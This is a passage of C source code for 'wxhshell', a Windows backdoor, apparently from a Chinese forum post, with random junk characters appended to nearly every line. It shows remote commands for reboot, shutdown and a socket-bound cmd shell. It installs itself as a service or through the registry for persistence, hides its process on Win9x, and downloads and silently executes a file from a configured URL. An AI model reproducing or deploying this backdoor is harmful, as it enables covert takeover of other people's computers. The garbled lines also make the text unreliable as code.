    switch(cmd[0]) { E7jv  
  _ :][{W#  
  // 帮助 &i!.6M2  
  case '?': { mirMDJsl%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :z^c<KFX  
    break; $T*kpUXH}  
  } Y#rao:I  
  // 安装 l[h??C`  
  case 'i': { A>'o5+  
    if(Install()) \s)j0F)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4ci @$nL1  
    else ;,IGO7R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >+G=|2  
    break; Z?^AX&F  
    } b2:CFtH5  
  // 卸载 7, O_'T &  
  case 'r': { ]C'r4Ch^  
    if(Uninstall()) .-<o[(s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,NVQ C=  
    else Z4rK$ B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X+hyUz(%R  
    break; Ejn19{  
    } t4 aa5@r  
  // 显示 wxhshell 所在路径 L%=u&9DmU  
  case 'p': { ;H}? 8L  
    char svExeFile[MAX_PATH]; _\u'~wWl  
    strcpy(svExeFile,"\n\r"); i  #8)ad  
      strcat(svExeFile,ExeFile); "S6d ^  
        send(wsh,svExeFile,strlen(svExeFile),0); [Si`pPvl  
    break; <ZCjQkka>r  
    } $@DXS~UQA  
  // 重启 %)]{*#N4  
  case 'b': { 7MBz&wE^f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n.Ekpq\  
    if(Boot(REBOOT)) r_ Xk:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =G*<WcR  
    else { m}8c.OJ>K`  
    closesocket(wsh); ]Wfnpqc^  
    ExitThread(0); X4 xnr^  
    } 0naegy?,  
    break; l$z-'  
    } V<(cW'zA/  
  // 关机 M`S >Q2{  
  case 'd': { 6&h,eQ!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B 6|=kl2C  
    if(Boot(SHUTDOWN)) bY]aADv\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A.(Z0,S-i  
    else { m[%&K W(  
    closesocket(wsh); ve'hz{W  
    ExitThread(0); d+z8^$z"  
    } OCF= )#}qd  
    break; a^|mF# z  
    } 0urQA_JC  
  // 获取shell fF<~2MiKw  
  case 's': { , @(lYeD"  
    CmdShell(wsh); z!?xz  
    closesocket(wsh); $1/yc#w u  
    ExitThread(0); |"\A5v|1  
    break; h\:"k_u#  
  } 7!z0)Ai_>=  
  // 退出 !~PV\DQN  
  case 'x': { j#.Aiy:,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2gukK8R$  
    CloseIt(wsh); Fb.wm   
    break; $M#G;W5c  
    } {ge^&l  
  // 离开  O &;Cca  
  case 'q': { ,D;d#fJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +>Y2luR1  
    closesocket(wsh); yP6^& 'I+  
    WSACleanup(); 7'CdDB6&.  
    exit(1); E%2]c?N5  
    break; }-!0d*I  
        } -I '#G D>  
  } Jro)  
  } 8FU8E2zo  
}cEcoi<v!  
  // 提示信息 9K~X}]u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Zn]L:  
} b-\ 1D;]  
  } 2w+w'Ag_R  
o4\\q66K  
  return; lE'2\kxI?  
} ?s6v>#H%  
(gQP_Oa(  
// shell模块句柄 Rcc9Tx(zvQ  
int CmdShell(SOCKET sock) xN'$ Yh  
{  l|j  
STARTUPINFO si; /R!:ll2  
ZeroMemory(&si,sizeof(si)); O,x[6P54P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Uyj6Ij_Pj)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Xq@Bzya  
PROCESS_INFORMATION ProcessInfo; n#|ljC  
char cmdline[]="cmd"; e ^2n58  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =+DfIO  
  return 0; #p*D.We  
} DS%~'S  
[0qe ?aI  
// 自身启动模式 e];lDa#4-Y  
int StartFromService(void) x+EkL3{  
{ Py y!B  
typedef struct q HaH=g%  
{ @IhC:Yc  
  DWORD ExitStatus; lE'3UqK  
  DWORD PebBaseAddress; ,)@njC?J  
  DWORD AffinityMask; uGOED-@  
  DWORD BasePriority; 3:C)1q  
  ULONG UniqueProcessId; g[';1}/B4  
  ULONG InheritedFromUniqueProcessId; 1-0tG+  
}   PROCESS_BASIC_INFORMATION; d<K2 \:P{}  
r2yJ{j&s  
PROCNTQSIP NtQueryInformationProcess; ti'B}bH>'  
Bs)'Gk`1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0Un?[O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0$ JH5RC  
cD6S;PSg  
  HANDLE             hProcess; hz:h>Hwy  
  PROCESS_BASIC_INFORMATION pbi; i' V("  
_rM?g1}5j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2,aH1Xbex  
  if(NULL == hInst ) return 0; /s*.:cdH  
mX 3p   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >m]LV}">O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); J?{@pA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _NefzZWUJ  
v;soJlxF~  
  if (!NtQueryInformationProcess) return 0; hh8Grl;  
]-8WM5\qJM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @@JyCUd  
  if(!hProcess) return 0; *:bexDH  
P9`R~HO'`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s@Dln Du .  
UodBK7y  
  CloseHandle(hProcess); !7Eodq-0  
;/:Sx/#s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5`Q j<   
if(hProcess==NULL) return 0; t:MSV?  
v5>A1\  
HMODULE hMod; [?%q,>F  
char procName[255]; m< H{@ZgN(  
unsigned long cbNeeded; n,U?]mr  
ZDg(D"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IjGPiC  
pHT]2e#  
  CloseHandle(hProcess); sYjhQN=Y*  
Nv=78O1  
if(strstr(procName,"services")) return 1; // 以服务启动 &1(- 8z*  
XNgcBSD  
  return 0; // 注册表启动 i.k7qclL`  
} )fHr]#v  
N=AHS  
// 主模块 Kv<f< >|L  
int StartWxhshell(LPSTR lpCmdLine)  ^M{,{bG  
{ JIhEkY  
  SOCKET wsl; y];-D>jk  
BOOL val=TRUE; c/Xg ARCO  
  int port=0; \ ?pyax8  
  struct sockaddr_in door; tI1OmhNN  
LH)XD[  
  if(wscfg.ws_autoins) Install(); I)tiXcJw  
0z'GN#mT5  
port=atoi(lpCmdLine); S=(<m%f  
Y=p!xr>  
if(port<=0) port=wscfg.ws_port; h);^4cU  
M?!@L:b[  
  WSADATA data; &\1n=y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jy5sZ }t[  
u<Y#J,p`e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2 /FQ;<L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y(o)} m*0  
  door.sin_family = AF_INET; p}^5ru  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RFMPh<Ac  
  door.sin_port = htons(port); SRwD`FF  
#8|LPfA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i|J%jA  
closesocket(wsl); <XIIT-b[  
return 1; qT48Y  
} $c9-Q+pZ  
XEgJ7h_  
  if(listen(wsl,2) == INVALID_SOCKET) { VGmvfhf#"  
closesocket(wsl); 6|zhqb|s  
return 1; 5BJ E  
} -~mgct5  
  Wxhshell(wsl); $#q`Y+;L2  
  WSACleanup(); #L~i|(=U5  
&)Xc'RQ.C  
return 0; Lm TFvZ  
e"ehH#i  
} =5q<_as  
d=/0A\O  
// 以NT服务方式启动 J0?kEr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |M7cB$y  
{ qx t0Jr8  
DWORD   status = 0; >> zd  
  DWORD   specificError = 0xfffffff; Y3Fj3NwS  
}5-w,m{8/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nN\H'{Wzd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {%f{U"m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X` zWw_i  
  serviceStatus.dwWin32ExitCode     = 0; M2O_kO eZ  
  serviceStatus.dwServiceSpecificExitCode = 0; q.c)>=!.  
  serviceStatus.dwCheckPoint       = 0;  Y !?'[t  
  serviceStatus.dwWaitHint       = 0; W6&vyOc  
_!nsEG VV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q`VL i  
  if (hServiceStatusHandle==0) return; WwDM^}e  
3 r&  
status = GetLastError(); O$<>v\NC?  
  if (status!=NO_ERROR) :OG I|[  
{ iQ;p59wSzL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KwuucY  
    serviceStatus.dwCheckPoint       = 0; J;C:nE|V  
    serviceStatus.dwWaitHint       = 0; uh )S;3|  
    serviceStatus.dwWin32ExitCode     = status; 1^!SuAA@  
    serviceStatus.dwServiceSpecificExitCode = specificError; >Icr4?zq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `#N/]4(j  
    return; |_V(^b}  
  } `POzwYh  
wI$ a1H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {FNkPX  
  serviceStatus.dwCheckPoint       = 0; ?, S/>SP  
  serviceStatus.dwWaitHint       = 0; DN*5q9.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s/E|Z1pg3  
} Xw-[Sf]p  
 Y{p$%  
// 处理NT服务事件,比如:启动、停止 g8W,Xq+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DxJ;C09xNa  
{ ]:P7}Kpb  
switch(fdwControl) nlwqSXw  
{ xu2 KEwgb  
case SERVICE_CONTROL_STOP: S/nPK,^d2  
  serviceStatus.dwWin32ExitCode = 0; Zh=a rlk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2 T!Tiu  
  serviceStatus.dwCheckPoint   = 0;  c0oHE8@  
  serviceStatus.dwWaitHint     = 0; TSlB.pw%v  
  { #Wk=y?sn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F5h/>  
  } FSIiw#xzH  
  return; 5(3O/C{?~  
case SERVICE_CONTROL_PAUSE: "& ,ov#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IS2cU'   
  break; hH %>  
case SERVICE_CONTROL_CONTINUE: p+VU:%.t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .ZpOYhk  
  break; i%hCV o  
case SERVICE_CONTROL_INTERROGATE: WsI`!ez;D  
  break; =V^-@ji)b  
}; l8\UO<^fY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \|]mClj#  
} C=: <[_m`  
VdLoi\-/L  
// 标准应用程序主函数 H@Dpht>[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "Ms;sdjg}&  
{ W>K^55'  
XKoY!Y\  
// 获取操作系统版本 rUiYR]mV  
OsIsNt=GetOsVer(); YX\vk/[|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3JCo!n0   
]&cnc8tC  
  // 从命令行安装 :xd;=;q5  
  if(strpbrk(lpCmdLine,"iI")) Install(); P@{ x@9kI  
UUah5$Iy  
  // 下载执行文件 i0vm00oT  
if(wscfg.ws_downexe) { D(!^$9e9b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p4`1^}f&Ie  
  WinExec(wscfg.ws_filenam,SW_HIDE); G]^[i6PQs  
} w!.@64-  
yvAO"43  
if(!OsIsNt) { [q <'ty  
// 如果时win9x,隐藏进程并且设置为注册表启动 @60D@Y  
HideProc(); 2w 2Bc+#o  
StartWxhshell(lpCmdLine); d#k(>+%=Q  
} t]/eCsR  
else Nk|cU;?+  
  if(StartFromService()) U!wi;W2  
  // 以服务方式启动 wP!X)p\  
  StartServiceCtrlDispatcher(DispatchTable); p3Sh%=HE'  
else }>A q<1%  
  // 普通方式启动 8v4}h9*F"7  
  StartWxhshell(lpCmdLine); S c)^k  
_?{7%(C  
return 0; JJ?{V:  
}
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只看该作者 1 发表于: 2006-10-10
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